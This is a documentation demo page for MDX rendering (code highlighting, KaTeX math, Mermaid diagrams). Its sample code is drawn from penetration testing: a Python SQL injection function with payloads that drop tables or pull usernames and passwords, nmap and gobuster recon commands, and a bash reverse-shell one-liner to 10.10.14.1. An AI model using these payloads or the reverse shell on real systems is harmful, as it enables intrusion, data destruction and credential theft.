MDX Features Demo

This page demonstrates the enhanced MDX features available for documentation.

Syntax Highlighting

Code blocks automatically get syntax highlighting with theme support (dark/light).

Python Example

def exploit_sqli(url: str, payload: str) -> bool:
    """
    Attempts SQL injection on target URL.
    """
    import requests

    response = requests.get(url, params={"id": payload})
    if "error" in response.text.lower():
        return False
    return response.status_code == 200

# Common SQLi payloads
payloads = [
    "' OR '1'='1",
    "1; DROP TABLE users--",
    "1' UNION SELECT NULL, username, password FROM users--"
]

Bash Commands

# Nmap scan for common services
nmap -sC -sV -oN scan.txt 10.10.10.1

# Gobuster directory enumeration
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Reverse shell one-liner
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1

JavaScript/TypeScript

interface VulnerabilityReport {
  id: string;
  severity: 'critical' | 'high' | 'medium' | 'low';
  description: string;
  remediation: string;
}

async function scanTarget(host: string): Promise<VulnerabilityReport[]> {
  const results: VulnerabilityReport[] = [];
  // Scanning logic here
  return results;
}

Math Equations

Math equations are rendered using KaTeX.

Inline Math

The probability of success after nn attempts is P=1(1p)nP = 1 - (1-p)^n where pp is the probability of success per attempt.

Block Equations

Shannon entropy for password strength:

H=i=1npilog2(pi)H = -\sum_{i=1}^{n} p_i \log_2(p_i)

The time complexity of brute force is:

T(n)=O(kn)T(n) = O(k^n)

where kk is the keyspace size and nn is the key length.

Cryptography Example

RSA encryption formula:

c=memodnc = m^e \mod n

RSA decryption:

m=cdmodnm = c^d \mod n

where ee is the public exponent, dd is the private exponent, and n=p×qn = p \times q.

Mermaid Diagrams

Diagrams are rendered using Mermaid with theme support.

Basic Flowchart

graph TD
A[Start] --> B[Process]
B --> C[End]

Attack Flow Diagram

graph TD
A[Reconnaissance] --> B[Scanning]
B --> C[Enumeration]
C --> D{Vulnerability Found}
D --> E[Exploitation]
D --> B
E --> F[Post-Exploitation]
F --> G[Privilege Escalation]

Sequence Diagram

sequenceDiagram
participant A as Attacker
participant S as Server
A->>S: Request
S-->>A: Response